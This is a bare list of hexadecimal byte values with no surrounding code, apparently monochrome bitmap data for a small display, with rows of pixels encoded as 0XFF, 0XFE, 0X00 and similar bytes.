0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0X00, 0X01, 0XFF, 0XF1, 0X8F, 0XF1, 0X8C, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0X18, 0XC1, 0XFF, 0XF1, 0X89, 0X31, 0X8C, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X38, 0XF0, 0XFF, 0XF1, 0X89, 0X31, 0X8C, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X78, 0XF0, 0XFF, 0XF1, 0X89, 0X31, 0X8C, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X78, 0XF8, 0XFF, 0XF1, 0X89, 0X31, 0X8C, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X78, 0XF8, 0XFF, 0XF1, 0X89, 0X31, 0X8C, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X78, 0XF8, 0XFF, 0XF1, 0X89, 0X31, 0X8C, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X38, 0XF8, 0XFF, 0XF1, 0X89, 0X30, 0X00, 0X3F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0X00, 0XF8, 0XFF, 0XF1, 0X8F, 0X30, 0X00, 0X3F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0X00, 0XF8, 0XFF, 0XF1, 0X81, 0XF0, 0X00, 0X3F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X00, 0XF9, 0XFF, 0XF1, 0X81, 0XF0, 0X00, 0X3F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X80, 0XF1, 0XFF, 0XFF, 0X81, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X83, 0XE1, 0XFF, 0XFE, 0X00, 0X00, 0X0F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X01, 0XF0, 0XFF, 0XFE, 0X00, 0X00, 0X0F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0X01, 0XF0, 0XFF, 0XFE, 0X00, 0X00, 0X0F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0X00, 0XF8, 0XFF, 0XFE, 0X00, 0X00, 0X0F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X00, 0XF8, 0XFF, 0XFE, 0X1C, 0X38, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X30, 0X78, 0XFF, 0XFE, 0X1C, 0X38, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X78, 0X78, 0XFF, 0XFE, 0X1C, 0X38, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X78, 0X30, 0XFF, 0XFE, 0X1C, 0X38, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X78, 0X00, 0XFF, 0XFE, 0X1C, 0X38, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X7C, 0X01, 0XFF, 0XFE, 0X1C, 0X38, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X7C, 0X01, 0XFF, 0XFE, 0X1C, 0X38, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X3E, 0X03, 0XFF, 0XE0, 0X00, 0X00, 0X01, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X07, 0XFF, 0XE0, 0X00, 0X00, 0X00, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0X00, 0X00, 0X00, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0X00, 0X00, 0X00, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0X1C, 0X38, 0X78, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X00, 0X00, 0X00, 0XFF, 0XFE, 0X1C, 0X38, 0X78, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X00, 0X00, 0X00, 0XFF, 0XFE, 0X1C, 0X38, 0X78, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X00, 0X00, 0X00, 0XFF, 0XFE, 0X1C, 0X38, 0X78, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X00, 0X00, 0X00, 0XFF, 0XFE, 0X1C, 0X38, 0X78, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X00, 0X00, 0X00, 0XFF, 0XFE, 0X1C, 0X38, 0X78, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X8F, 0XFF, 0XFF, 0XFE, 0X00, 0X00, 0X78, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X1F, 0XFF, 0XFF, 0XFE, 0X00, 0X00, 0X78, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0X3F, 0XFF, 0XFF, 0XFE, 0X00, 0X00, 0X78, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X3F, 0XFF, 0XFF, 0XFE, 0X00, 0X00, 0X60, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X3F, 0XFF, 0XFF, 0XFE, 0X00, 0X00, 0X00, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X3F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X00, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X1F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X80, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X00, 0X00, 0XFF, 0XFF, 0XFF, 0XFF, 0X83, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X00, 0X00, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0X00, 0X00, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X00, 0X00, 0XFF, 0XFF, 0XFF, 0X0F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0X00, 0XFF, 0XFF, 0XFF, 0X0F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0XFF, 0X0F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0XFF, 0X0F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0XFF, 0X0F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X07, 0XFF, 0XF0, 0XFF, 0X0F, 0XFB, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0X01, 0XFF, 0XF0, 0XFF, 0X0F, 0XF8, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0X1C, 0X01, 0XFF, 0XF0, 0XFF, 0X0F, 0XF8, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0X38, 0X00, 0XFF, 0XF0, 0XFF, 0X0F, 0XF8, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X78, 0X00, 0XFF, 0XF0, 0XFF, 0X0F, 0XF8, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X78, 0X70, 0XFF, 0XF0, 0XFF, 0X0F, 0XF8, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X78, 0XF8, 0XFF, 0XF0, 0XFF, 0X0F, 0XF8, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X78, 0XF9, 0XFF, 0XF0, 0XFF, 0X0F, 0XF0, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X30, 0XF1, 0XFF, 0XF0, 0XF8, 0X00, 0X00, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X00, 0X03, 0XFF, 0XF0, 0XF0, 0X00, 0X00, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X00, 0X00, 0XFF, 0XF0, 0XE0, 0X00, 0X00, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0X00, 0X00, 0XFF, 0XF0, 0XE0, 0X00, 0X01, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0X00, 0X00, 0XFF, 0XF0, 0XC0, 0X00, 0X07, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X00, 0X00, 0XFF, 0XF0, 0X81, 0X0F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0X00, 0XFF, 0XF0, 0X83, 0X0F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X07, 0X0F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X07, 0X0F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X0F, 0X0F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X1F, 0X0F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X00, 0X00, 0XFF, 0XF0, 0X3F, 0X0F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X00, 0X00, 0XFF, 0XF0, 0X3F, 0X0F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X00, 0X00, 0XFF, 0XF0, 0X7F, 0X0F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X00, 0X00, 0XFF, 0XF0, 0XFF, 0X0F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X00, 0X00, 0XFF, 0XFF, 0XFF, 0X0F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X0F, 0XFF, 0XFF, 0XFF, 0XFF, 0X0F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0X1F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X3F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X3F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X3F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X1F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X1F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0X07, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X80, 0X03, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X00, 0X01, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0X00, 0X01, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0X18, 0XC1, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X38, 0XF0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X78, 0XF0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X78, 0XF8, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X78, 0XF8, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X78, 0XF8, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X38, 0XF8, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0X00, 0XF8, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0X00, 0XF8, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X00, 0XF9, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X80, 0XF1, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 